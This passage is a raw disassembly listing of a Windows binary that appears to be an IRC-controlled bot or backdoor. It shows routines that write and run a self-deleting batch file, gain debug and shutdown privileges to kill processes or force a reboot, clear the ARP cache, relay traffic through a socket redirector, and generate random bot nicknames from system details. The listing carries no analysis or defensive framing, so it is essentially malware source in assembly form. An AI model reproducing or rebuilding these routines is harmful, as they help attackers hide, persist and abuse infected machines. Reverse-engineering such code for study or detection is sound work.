eax push esi call dword_4170A8 ; SetFileTime push esi call ebx ; CloseHandle loc_4054A0: ; CODE XREF: sub_405401+2Aj ; sub_405401+51j ... pop edi pop esi pop ebx leave retn sub_405401 endp ; =============== S U B R O U T I N E ======================================= sub_4054A5 proc near ; CODE XREF: sub_406BAB+DF3p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_4057AB pop ecx pop ecx push 50005h push 6 call dword_42B330 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4054A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054C7 proc near ; CODE XREF: sub_4032EE+45Fp ; sub_406BAB+2FFCp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_41C0E4, esi push edi jz short loc_4054EB cmp dword_42B498, esi jnz short loc_4054EB push esi call sub_4031BC pop ecx loc_4054EB: ; CODE XREF: sub_4054C7+13j ; sub_4054C7+1Bj call sub_40AC17 lea eax, [ebp+var_764] push eax push 400h call dword_4170BC ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_40B0B3 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_41707C ; CreateFileA mov edi, eax cmp edi, esi jbe loc_40564B lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_40B0B3 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_417078 ; WriteFile push edi call dword_417074 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_40B630 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_40B630 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_422270 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_41708C ; GetModuleHandleA push eax call dword_41704C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4170B8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4055F3 lea eax, [ebp+var_15C] push 80h push eax call dword_4170B4 ; SetFileAttributesA loc_4055F3: ; CODE XREF: sub_4054C7+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_40B0B3 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4170B0 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_417070 ; CreateProcessA loc_40564B: ; CODE XREF: sub_4054C7+72j pop edi pop esi leave retn sub_4054C7 endp ; =============== S U B R O U T I N E ======================================= sub_40564F proc near ; CODE XREF: sub_403CA3+83p ; sub_4068DA+4Fp arg_0 = dword ptr 4 push [esp+arg_0] call dword_42B410 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_405677 push [esp+arg_0] call dword_42B454 ; gethostbyname test eax, eax jnz short loc_405670 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_405670: ; CODE XREF: sub_40564F+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_405677: ; CODE XREF: sub_40564F+Dj retn sub_40564F endp ; =============== S U B R O U T I N E ======================================= sub_405678 proc near ; CODE XREF: sub_4068DA+D6p mov ecx, dword_42B310 xor eax, eax test ecx, ecx jz short locret_405686 jmp ecx ; --------------------------------------------------------------------------- locret_405686: ; CODE XREF: sub_405678+Aj retn sub_405678 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405687 proc near ; CODE XREF: sub_406BAB:loc_409943p var_C8 = byte ptr -0C8h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0C8h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_42B44C ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40570E sub ecx, 32h jz loc_40574B sub ecx, 48h jz short loc_4056E3 sub ecx, 6Eh jz short loc_4056DC loc_4056C5: ; CODE XREF: sub_405687+85j push eax lea eax, [ebp+var_C8] push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... push eax call sub_40B0B3 add esp, 0Ch jmp short loc_405739 ; --------------------------------------------------------------------------- loc_4056DC: ; CODE XREF: sub_405687+3Cj push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_40572B ; --------------------------------------------------------------------------- loc_4056E3: ; CODE XREF: sub_405687+37j push [ebp+var_8] call sub_40B6BF push [ebp+var_8] mov esi, eax push edi push esi call sub_40B630 add esp, 10h cmp esi, edi jz short loc_405726 lea eax, [ebp+var_8] push ebx push eax push esi call dword_42B44C ; GetIpNetTable cmp eax, edi jnz short loc_4056C5 loc_40570E: ; CODE XREF: sub_405687+29j cmp [esi], edi jbe short loc_405743 lea ebx, [esi+4] loc_405715: ; CODE XREF: sub_405687+9Bj push ebx call dword_42B448 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_405715 jmp short loc_405743 ; --------------------------------------------------------------------------- loc_405726: ; CODE XREF: sub_405687+75j push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_40572B: ; CODE XREF: sub_405687+5Aj ; sub_405687+C9j lea eax, [ebp+var_C8] push eax call sub_40B0B3 pop ecx pop ecx loc_405739: ; CODE XREF: sub_405687+53j push esi mov [ebp+var_4], edi call sub_40B771 pop ecx loc_405743: ; CODE XREF: sub_405687+89j ; sub_405687+9Dj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40574B: ; CODE XREF: sub_405687+2Ej push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_40572B sub_405687 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405752 proc near ; CODE XREF: sub_4023B8+50p ; sub_402E09+89p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_42B37C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_42BFC8 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_40B0B3 add esp, 18h mov eax, esi pop esi leave retn sub_405752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057AB proc near ; CODE XREF: sub_4054A5+7p ; sub_405816+53p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4170CC ; GetCurrentProcess push eax call dword_42B3B8 ; OpenProcessToken test eax, eax jnz short loc_4057CA leave retn ; --------------------------------------------------------------------------- loc_4057CA: ; CODE XREF: sub_4057AB+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_42B394 ; LookupPrivilegeValueA test eax, eax jz short loc_405808 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4057F1 or [ebp+var_8], 2 jmp short loc_4057F5 ; --------------------------------------------------------------------------- loc_4057F1: ; CODE XREF: sub_4057AB+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4057F5: ; CODE XREF: sub_4057AB+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_42B43C ; AdjustTokenPrivileges mov esi, eax loc_405808: ; CODE XREF: sub_4057AB+32j push [ebp+var_4] call dword_417074 ; CloseHandle mov eax, esi pop esi leave retn sub_4057AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405816 proc near ; CODE XREF: sub_4059C3+74p ; sub_406BAB+26C6p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_42B3F4, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz short loc_4058BB cmp dword_42B3D8, ebx jz short loc_4058BB cmp dword_42B30C, ebx jz short loc_4058BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_4057AB pop ecx pop ecx push ebx push 0Fh call dword_42B3F4 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_4058AE lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_42B3D8 ; Process32First mov esi, dword_417074 test eax, eax jnz loc_405971 loc_4058A9: ; CODE XREF: sub_405816+173j push [ebp+var_4] call esi ; CloseHandle loc_4058AE: ; CODE XREF: sub_405816+69j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_4057AB pop ecx pop ecx loc_4058BB: ; CODE XREF: sub_405816+3Aj ; sub_405816+42j ... xor eax, eax loc_4058BD: ; CODE XREF: sub_405816+1A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4058C2: ; CODE XREF: sub_405816+16Dj cmp [ebp+arg_10], ebx jnz loc_405971 cmp [ebp+arg_C], ebx jnz loc_40595C cmp [ebp+arg_4], ebx jz loc_405971 push [ebp+var_124] push 8 call dword_42B3F4 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_40591C lea eax, [ebp+var_350] push eax push edi call dword_42B2BC ; Module32First push [ebp+var_124] test eax, eax jz short loc_405922 lea eax, [ebp+var_230] jmp short loc_405928 ; --------------------------------------------------------------------------- loc_40591C: ; CODE XREF: sub_405816+E4j push [ebp+var_124] loc_405922: ; CODE XREF: sub_405816+FCj lea eax, [ebp+var_108] loc_405928: ; CODE XREF: sub_405816+104j push eax lea eax, [ebp+var_550] push offset aSD ; " %s (%d)" push eax call sub_40B0B3 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h push edi call esi ; CloseHandle jmp short loc_405971 ; --------------------------------------------------------------------------- loc_40595C: ; CODE XREF: sub_405816+B8j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_40598E loc_405971: ; CODE XREF: sub_405816+8Dj ; sub_405816+AFj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_42B30C ; Process32Next test eax, eax jnz loc_4058C2 jmp loc_4058A9 ; --------------------------------------------------------------------------- loc_40598E: ; CODE XREF: sub_405816+159j push [ebp+var_124] push ebx push 1F0FFFh call dword_4170D4 ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push ebx push edi call dword_4170D0 ; TerminateProcess test eax, eax jnz short loc_4059BB push edi call esi ; CloseHandle jmp loc_4058BB ; --------------------------------------------------------------------------- loc_4059BB: ; CODE XREF: sub_405816+19Bj xor eax, eax inc eax jmp loc_4058BD sub_405816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059C3 proc near ; DATA XREF: sub_406BAB+2F6Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_41BDE0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_40B0B3 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_405A22 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_404555 add esp, 14h loc_405A22: ; CODE XREF: sub_4059C3+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_405816 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_405A50 push offset unk_41BDB8 jmp short loc_405A55 ; --------------------------------------------------------------------------- loc_405A50: ; CODE XREF: sub_4059C3+84j push offset unk_41BD94 loc_405A55: ; CODE XREF: sub_4059C3+8Bj push eax call sub_40B0B3 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_405A82 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_404555 add esp, 14h loc_405A82: ; CODE XREF: sub_4059C3+9Dj lea eax, [ebp+var_298] push eax call sub_403145 push [ebp+var_14] call sub_40AD6A pop ecx pop ecx push esi call dword_417050 ; ExitThread pop edi pop esi sub_4059C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405AA1 proc near ; CODE XREF: sub_406BAB+2664p ; sub_40AB8F+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_4170D4 ; OpenProcess mov esi, eax test esi, esi jz short loc_405AD3 push 0 push esi call dword_4170D0 ; TerminateProcess test eax, eax jnz short loc_405AD3 push esi xor edi, edi call dword_417074 ; CloseHandle loc_405AD3: ; CODE XREF: sub_405AA1+1Aj ; sub_405AA1+27j mov eax, edi pop edi pop esi retn sub_405AA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AD8 proc near ; DATA XREF: sub_406BAB+1CAEo var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_40B630 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_42B3D4 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_42B450 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_405C30 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_42CF6C[ecx], eax call dword_42B308 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_42B400 ; bind test eax, eax jnz loc_405C30 push 0Ah push [ebp+arg_0] call dword_42B3FC ; listen test eax, eax jnz loc_405C30 loc_405B88: ; CODE XREF: sub_405AD8+C6j ; sub_405AD8+153j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_42B464 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_405B88 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_41BE08 push eax call sub_40B0B3 push edi lea eax, [ebp+var_350] push 0Fh push eax call sub_40AA54 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_42CF64[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_405C55 push esi push esi call dword_417048 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_42CF74[ecx], eax jz short loc_405C33 jmp short loc_405C26 ; --------------------------------------------------------------------------- loc_405C1E: ; CODE XREF: sub_405AD8+151j push 32h call dword_417040 ; Sleep loc_405C26: ; CODE XREF: sub_405AD8+144j cmp [ebp+var_30], esi jz short loc_405C1E jmp loc_405B88 ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_405AD8+63j ; sub_405AD8+97j ... mov edi, [ebp+arg_0] loc_405C33: ; CODE XREF: sub_405AD8+142j push edi call dword_42B468 ; closesocket push [ebp+arg_0] call dword_42B468 ; closesocket push [ebp+var_40] call sub_40AD6A pop ecx push esi call dword_417050 ; ExitThread pop edi pop esi sub_405AD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C55 proc near ; DATA XREF: sub_405AD8+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_40B690 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_42B450 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_405DF6 push 10h lea eax, [ebp+var_18] push edi push eax call sub_40B630 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_42B3D4 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_42B410 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_405CE5 lea eax, [ebp+var_13C] push eax call dword_42B454 ; gethostbyname jmp short loc_405CF3 ; --------------------------------------------------------------------------- loc_405CE5: ; CODE XREF: sub_405C55+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_42B390 ; gethostbyaddr loc_405CF3: ; CODE XREF: sub_405C55+8Ej cmp eax, edi jz loc_405DF6 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_42B380 ; connect cmp eax, 0FFFFFFFFh jz loc_405DF6 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_41BE50 push eax call sub_40B0B3 push esi lea eax, [ebp+var_344] push 0Fh push eax call sub_40AA54 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_42CF6C[ebx] mov dword_42CF64[eax], ecx add esp, 20h mov ecx, [esi] mov dword_42CF70[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_405E27 push edi push edi call dword_417048 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_42CF74[ecx], eax jz short loc_405DF6 jmp short loc_405DAF ; --------------------------------------------------------------------------- loc_405DA7: ; CODE XREF: sub_405C55+15Dj push 32h call dword_417040 ; Sleep loc_405DAF: ; CODE XREF: sub_405C55+150j cmp [ebp+var_20], edi jz short loc_405DA7 mov ebx, 1000h loc_405DB9: ; CODE XREF: sub_405C55+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_42B3EC ; recv cmp eax, edi jle short loc_405DF6 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_42B420 ; send cmp eax, 0FFFFFFFFh jnz short loc_405DB9 loc_405DF6: ; CODE XREF: sub_405C55+44j ; sub_405C55+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_42CF6C[eax] call dword_42B468 ; closesocket push [ebp+arg_0] call dword_42B468 ; closesocket push [ebp+var_4] call sub_40AD6A pop ecx push edi call dword_417050 ; ExitThread pop edi pop esi pop ebx sub_405C55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E27 proc near ; DATA XREF: sub_405C55+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_40B690 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_405E5E: ; CODE XREF: sub_405E27+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_42CF70[esi] call dword_42B3EC ; recv test eax, eax jle short loc_405EA5 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_42CF6C[esi] call dword_42B420 ; send cmp eax, 0FFFFFFFFh jnz short loc_405E5E loc_405EA5: ; CODE XREF: sub_405E27+61j push dword_42CF70[esi] call dword_42B468 ; closesocket push [ebp+var_14] call sub_40AD6A pop ecx push 0 call dword_417050 ; ExitThread pop edi pop esi sub_405E27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405EC4 proc near ; CODE XREF: sub_4061FA+4Ap ; DATA XREF: .nsp0:off_41BEA8o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_41705C ; GetTickCount push eax call sub_40B545 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aWw ; "Ww|" push offset aS_0 ; "%s" push 1Ch push edi call sub_40BDE7 xor esi, esi add esp, 10h cmp dword_41C0EC, esi jle short loc_405F1D loc_405EF7: ; CODE XREF: sub_405EC4+57j call sub_40B54F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41BEFC push 1Ch push edi call sub_40BDE7 add esp, 14h inc esi cmp esi, dword_41C0EC jl short loc_405EF7 loc_405F1D: ; CODE XREF: sub_405EC4+31j mov eax, edi pop edi pop esi retn sub_405EC4 endp ; =============== S U B R O U T I N E ======================================= sub_405F22 proc near ; CODE XREF: sub_406BAB+1FD9p arg_0 = dword ptr 4 push ebx push esi push edi call dword_41705C ; GetTickCount push eax call sub_40B545 pop ecx call sub_40B54F push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_41C0EC test esi, esi jle short loc_405F65 loc_405F4F: ; CODE XREF: sub_405F22+41j call sub_40B54F push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_405F4F loc_405F65: ; CODE XREF: sub_405F22+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_405F22 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_41705C ; GetTickCount push eax call sub_40B545 pop ecx lea eax, [ebp-4] mov esi, offset dword_41BF04 push eax push esi call dword_4170C8 ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_40BDE7 xor esi, esi add esp, 0Ch cmp dword_41C0EC, esi jle short loc_405FD8 loc_405FB2: ; CODE XREF: .nsp0:00405FD6j call sub_40B54F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41BEFC push 1Ch push edi call sub_40BDE7 add esp, 14h inc esi cmp esi, dword_41C0EC jl short loc_405FB2 loc_405FD8: ; CODE XREF: .nsp0:00405FB0j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_41705C ; GetTickCount push eax call sub_40B545 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4170D8 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_41BF08 push 1Ch push edi call sub_40BDE7 xor esi, esi add esp, 10h cmp dword_41C0EC, esi jle short loc_40604D loc_406027: ; CODE XREF: .nsp0:0040604Bj call sub_40B54F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41BEFC push 1Ch push edi call sub_40BDE7 add esp, 14h inc esi cmp esi, dword_41C0EC jl short loc_406027 loc_40604D: ; CODE XREF: .nsp0:00406025j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_422270 mov dword ptr [ebp-94h], 94h call dword_417000 ; GetVersionExA call dword_41705C ; GetTickCount push eax call sub_40B545 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_4060D7 cmp dword ptr [ebp-8Ch], 0 jnz short loc_4060B7 cmp dword ptr [ebp-84h], 1 jnz short loc_4060A7 mov esi, offset dword_41BF30 loc_4060A7: ; CODE XREF: .nsp0:004060A0j cmp dword ptr [ebp-84h], 2 jnz short loc_406113 mov esi, offset dword_41BF2C jmp short loc_406113 ; --------------------------------------------------------------------------- loc_4060B7: ; CODE XREF: .nsp0:00406097j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4060C7 mov esi, offset dword_41BF28 jmp short loc_406113 ; --------------------------------------------------------------------------- loc_4060C7: ; CODE XREF: .nsp0:004060BEj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40610E mov esi, offset dword_41BF24 jmp short loc_406113 ; --------------------------------------------------------------------------- loc_4060D7: ; CODE XREF: .nsp0:0040608Ej cmp dword ptr [ebp-90h], 5 jnz short loc_40610E cmp dword ptr [ebp-8Ch], 0 jnz short loc_4060F0 mov esi, offset dword_41BF20 jmp short loc_406113 ; --------------------------------------------------------------------------- loc_4060F0: ; CODE XREF: .nsp0:004060E7j cmp dword ptr [ebp-8Ch], 1 jnz short loc_406100 mov esi, offset dword_41BF1C jmp short loc_406113 ; --------------------------------------------------------------------------- loc_406100: ; CODE XREF: .nsp0:004060F7j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_41BF18 jz short loc_406113 loc_40610E: ; CODE XREF: .nsp0:004060CEj ; .nsp0:004060DEj mov esi, offset dword_41BF14 loc_406113: ; CODE XREF: .nsp0:004060AEj ; .nsp0:004060B5j ... mov edi, [ebp+8] push esi push offset dword_41BF0C push 1Ch push edi call sub_40BDE7 xor esi, esi add esp, 10h cmp dword_41C0EC, esi jle short loc_406157 loc_406131: ; CODE XREF: .nsp0:00406155j call sub_40B54F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41BEFC push 1Ch push edi call sub_40BDE7 add esp, 14h inc esi cmp esi, dword_41C0EC jl short loc_406131 loc_406157: ; CODE XREF: .nsp0:0040612Fj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40615D proc near ; CODE XREF: sub_4061FA+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_41705C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax call dword_42B3E0 ; FindWindowA cmp esi, 0Ah jbe short loc_4061AC test eax, eax mov eax, offset dword_41BF3C jnz short loc_406195 mov eax, offset byte_422270 loc_406195: ; CODE XREF: sub_40615D+31j push eax push esi push offset dword_41BF34 lea eax, [ebp+var_1C] push 1Ch push eax call sub_40BDE7 add esp, 14h jmp short loc_4061C6 ; --------------------------------------------------------------------------- loc_4061AC: ; CODE XREF: sub_40615D+28j test eax, eax mov eax, offset dword_41BF3C jnz short loc_4061BA mov eax, offset byte_422270 loc_4061BA: ; CODE XREF: sub_40615D+56j push eax lea eax, [ebp+var_1C] push eax call sub_40B0B3 pop ecx pop ecx loc_4061C6: ; CODE XREF: sub_40615D+4Dj lea eax, [ebp+var_1C] push eax call sub_40B5B0 pop ecx cmp eax, 2 pop esi jbe short loc_4061F5 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_40AF90 